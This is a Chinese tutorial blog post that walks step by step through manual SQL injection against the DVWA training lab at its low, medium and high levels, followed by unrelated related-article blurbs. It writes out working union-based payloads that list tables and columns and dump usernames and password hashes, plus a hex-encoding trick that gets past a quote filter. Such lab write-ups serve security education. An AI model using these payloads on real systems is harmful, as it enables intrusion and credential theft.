DVWA sql手注学习(巨详细不含sqlmap)

这篇文章主要记录学习sql注入的过程中遇到的问题已经一点学习感悟,过程图片会比较多,比较基础和详细,不存在看不懂哪一步的过程

文章目录

  • 靶场介绍
  • SQL注入 low
  • SQL注入 Medium
  • SQL注入 High
  • SQL注入 Impossible

靶场介绍

DVWA(Damn Vulnerable Web Application)是一个专为安全专业人员、开发人员和学生设计的网络安全靶场。它是一个基于PHP/MySQL的开源Web应用程序,模拟了一个典型的Web应用程序环境,并包含了多种常见的Web安全漏洞,如SQL注入、跨站脚本攻击(XSS)、文件上传漏洞、命令注入等。这些漏洞被故意设计出来,用于安全教育和渗透测试训练。

SQL注入 low

输入1,正常回显,观察URL明显是get请求传递的参数。
在这里插入图片描述

测试是否存在sql注入,这里用 ’ 来测(虽然这个是靶场,我们已经知道存在sql注入漏洞,我为了理清思路,这里完整的复述一遍)
在这里插入图片描述
这里报错了,说明这个网页存在sql注入的漏洞
在这里插入图片描述
测一下漏洞是字符型还是数字型

1 and 1=1
1 and 1=2
1' and 1=1#
1' and 1=2#
(有的地方用--+有的地方可以用--+注释,有的地方可以用#注释,这里只能用#注释)

前两个都正常回显
在这里插入图片描述
在这里插入图片描述
这里我们猜测一下数据库的搜索语句应该是这样的,那么应该是字符型
在这里插入图片描述
1’ and 1=1#正常回显
在这里插入图片描述

1’ and 1=2#回显异常了
在这里插入图片描述
这里我们接着想一想后端的sql搜索语句是怎么写的,如下图,当前面闭合后,执行后面的1=1,会正常回显内容,当你1=2时,永假,页面肯定回显异常。到这里就可以判断一定是字符型的注入了。
在这里插入图片描述
到这一步基本上我们找到了闭合,可以开始注入了。
ps:到了这儿,该如何注入就得看各位师父们的手法和技巧了,高超的技巧往往能更快更方便注入。

1' order by 
-1' union select 1,2#

这里的意思就是说联合注入,我们后面查询的1,2两个字段的数据显示在页面的哪个位置,搞清楚了位置我们就可以通过替换1,2字段的查询语句来进行数据库的信息的探测。
在这里插入图片描述
探测数据库名

 -1' union select database(),2#

在这里插入图片描述
探测表名

1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

在这里插入图片描述
探测表中字段名

1' and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

在这里插入图片描述
获取数据(密码均为md5加密,各位可以去网上用md5解密网站跑,简单的一般不用收费)

1' and 1=2 union select user,password from users#

在这里插入图片描述
好了到此,low级别的sql注入已经差不多完成了,后面的中级和高级最后过程就不赘述,只寻找到闭合。

SQL注入 Medium

我们先观察一下页面,只能让你选择你的id,不让你输入了,使用post传参,我们可以用burp suite来抓包实现修改post数据
在这里插入图片描述
数据包如下:
在这里插入图片描述
分析到这里后,其实其他步骤跟low级别就差不多了

测有无sql漏洞:
id=1'&Submit=Submit测有无sql
判断类型:
id=1' and 1=1#&Submit=Submit
id=1' and 1=2#&Submit=Submit
id=1 or 1=1#&Submit=Submi

如此可以测出来,存在数字型的sql注入漏洞
在这里插入图片描述
测试代码如下:

id=1 and 1=1 order by 3&Submit=Submit
id=1 and 1=1 order by 2&Submit=Submit
id=1 union select 1,2&Submit=Submit
id=1 union select 1,database()#&Submit=Submit
id=1 union select 1,table_name from information_schema.tables where table_schema=database()#&Submit=Submit
id=1 union select 1,column_name from information_schema.columns where table_name='users'#&Submit=Submit

这里要就能体现,medium和low有什么区别了。我们探测user表中的字段数时,发现sql语句报错了,说明后端做了过滤。我们点开源代码看看后端做了什么限制。
在这里插入图片描述
说明他可能过滤掉了我们的单引号,但是这种过滤其实也没啥太大用处,毕竟换个十六进制加密就能写进去。

id=1 union select 1,column_name from information_schema.columns where table_name=0x5553455253#&Submit=Submit

在这里插入图片描述

id=1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #&Submit=Submit

在这里插入图片描述

SQL注入 High

这里我们先审一下后端的代码,这里做的限制只要是limit 1,给你一个回复,而且你提交数据的页面和它显示给你的界面不是同一个,这样做是防止sqlmap等自动化扫描工具的批量扫描。然而其他的跟low级别基本上差不太多。
在这里插入图片描述
我们直接用low级别的payload也可以直接获取到他的数据库信息。
在这里插入图片描述

SQL注入 Impossible

关于这个难度,本人的php水平有限,等后期php的水平提升了再来审一下这个靶场的后端代码,这里先搁置在这里。csdn中很有很多大佬做了代码审计,各位感兴趣可以自行搜索。(QAQ)

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/40663.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

必备的 Adobe XD 辅助工具

想要高效便捷的使用 Adobe XD, Adobe XD 插件是必不可少的, Adobe XD 的插件非常多,但 90%都是英文,并且良莠不齐。在这儿挑选 9 个好用的 Adobe XD 插件给大家,这里是我整理的一些实用 Adobe XD 插件,让你…

大屏开发系列——Echarts的基础使用

本文为个人近期学习总结,若有错误之处,欢迎指出! Echarts在vue2中的基础使用 一、简单介绍二、基本使用(vue2中)1.npm安装2.main.js引入3.使用步骤(1)准备带有宽高的DOM容器;(2)初始化echarts实例&#xff…

PHP宜邦家政服务管理系统-计算机毕业设计源码04426

目 录 摘要 1 绪论 1.1 选题背景与意义 1.2开发现状 1.3论文结构与章节安排 2 宜邦家政服务管理系统系统分析 2.1 可行性分析 2.1.1 技术可行性分析 2.1.2 经济可行性分析 2.1.3 操作可行性分析 2.2 系统功能分析 2.2.1 功能性分析 2.2.2 非功能性分析 2.3 系统用…

国标GB28181视频汇聚平台LntonCVS视频监控安防平台与国标协议对接解决方案

应急管理部门以“以信息化推动应急管理能力现代化”为总体目标,加快现代信息技术与应急管理业务深度融合,全面支持现代应急管理体系建设,这不仅是国家加强和改进应急管理工作的关键举措,也是应对日益严峻的应急管理形势和满足公众…

微信小程序的运行机制与更新机制

1. 小程序运行机制 1.1. 冷启动与热启动 冷启动为用户第一次打开小程序时,因为之前没有打开过,这是第一种冷启动的情兑。第二种情况为虽然之前用户打开过,但是小程序被用户主动的销毁过,这种情况下我们再次打开小程序&#xff0…

【PALM、WRF-LES】微尺度气象数值模拟—大涡模拟技术

针对微尺度气象的复杂性,大涡模拟(LES)提供了一种无可比拟的解决方案。微尺度气象学涉及对小范围内的大气过程进行精确模拟,这些过程往往与天气模式、地形影响和人为因素如城市布局紧密相关。在这种规模上,传统的气象模…

doc文档下载

目录 下载 安装谷歌浏览器(chrome)Microsoft Edge浏览器 常见问题 下载 见邮件附件 安装 谷歌浏览器(chrome) 打开浏览器,地址栏输入:chrome://extensions/ 右上角打开开发者模式 点击如上图左上角的加载已解压的拓展程序,并选择刚刚解压…

安卓应用开发学习:通过腾讯地图SDK实现定位功能

一、引言 这几天有些忙,耽误了写日志,但我的学习始终没有落下,有空我就会研究《 Android App 开发进阶与项目实战》一书中定位导航方面的内容。在我的手机上先后实现了“获取经纬度及地理位置描述信息”和“获取导航卫星信息”功能后&#x…

afrog-漏洞扫描(挖洞)工具【了解安装使用详细】

★★免责声明★★ 文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 1、afrog介绍 afrog 是一款性能卓越、快速稳定、PoC可定…

MySQL篇-SQL优化实战-减少子查询

回顾 上一篇了解了分析SQL使用的explain,可以点击查看MySQL篇-SQL优化实战了解我在写sql的注意事项还有explain的说明,这次拿一段生产使用的sql进行优化说明。从14s优化到2.6s 待优化的SQL SELECT DISTINCTswpe.tag_number,hca.ACCOUNT_NAME customer…

VBA中类的解读及应用第十三讲:限制复选选择,窗体模块的搭建

《VBA中类的解读及应用》教程【10165646】是我推出的第五套教程,目前已经是第一版修订了。这套教程定位于最高级,是学完初级,中级后的教程。 类,是非常抽象的,更具研究的价值。随着我们学习、应用VBA的深入&#xff0…

02-部署LVS-DR群集

1.LVS-DR工作原理 LVS-DR模式,Director Server作为群集的访问入口,不作为网购使用,节点Director Server 与 Real Server 需要在同一个网络中,返回给客户端的数据不需要经过Director Server 为了响应对整个群集的访问,…

Java WebService记

Web Services开发 常用的 Web Services 框架有 Apache Axis1 、 Apache Axis2 、 Apache CXF ,而 Apache Axis1 已经逐渐被淘汰所以本文不会讨论,重点关注 Apache Axis2 及 Apache CXF 。 Apache Axis2 在IDEA中新建 Axis2Demo 项目后右键选择 添加框架…

【Android源码】Gerrit安装

前言 如果你打开 https://android.googlesource.com/platform/manifest,就会发现,google官方管理Android源码,使用的是Gerrit。Android系统源码是非常大的,用Git肯定是不适合。对于大型项目,得用Gerrit,今…

NoSQL之Redis高可用与优化

一、Redis高可用 在web服务器中,高可用是指服务器可以正常访问的时间,衡量的标准是在多长时间内可以提供正常服务(99.9%、99.99%、99.999%等等)。 但是在Redis语境中,高可用的含义似乎要宽泛一些,除了保证…

二叉树的链式访问 与 二叉树专题

目录 二叉树的前、中、后序遍历求二叉树第K层节点的个数二叉树查找值为x的节点leetcode相同的树对称二叉树二叉树的前序遍历另一棵子树牛客 二叉树的遍历 二叉树的前、中、后序遍历 1.前序遍历:先访问根节点,再访问左子树,最后访问右子树 根…

conda中创建环境并安装tensorflow1版本

conda中创建环境并安装tensorflow1版本 一、背景二、命令三、验证一下 一、背景 最近需要使用tensorflow1版本的,发个记录! 二、命令 conda create -n tf python3.6 #创建tensorflow虚拟环境 activate tf #激活环境,每次使用的时候都…

汽车信息安全--数据安全:图像脱敏

General 随着车联网的发展,汽车越来越智能化,就像是一部“装着四个轮子的手机”。 有人说,智能手机就如同一部窃听器,无论你开机或者关机,它都会无时不刻地监听着用户的一举一动。 可想而知,智能车辆上…

马工程刑法期末复习笔记重点2

马工程刑法期末复习笔记重点2

CLAM用于弱监督WSI分析

计算病理学(computational pathology)下的深度学习方法需要手动注释大型 WSI 数据集,并且通常存在领域适应性和可解释性较差的问题。作者报告了一种可解释的弱监督深度学习方法,只需要WSI级标签。将该方法命名为聚类约束注意力多实…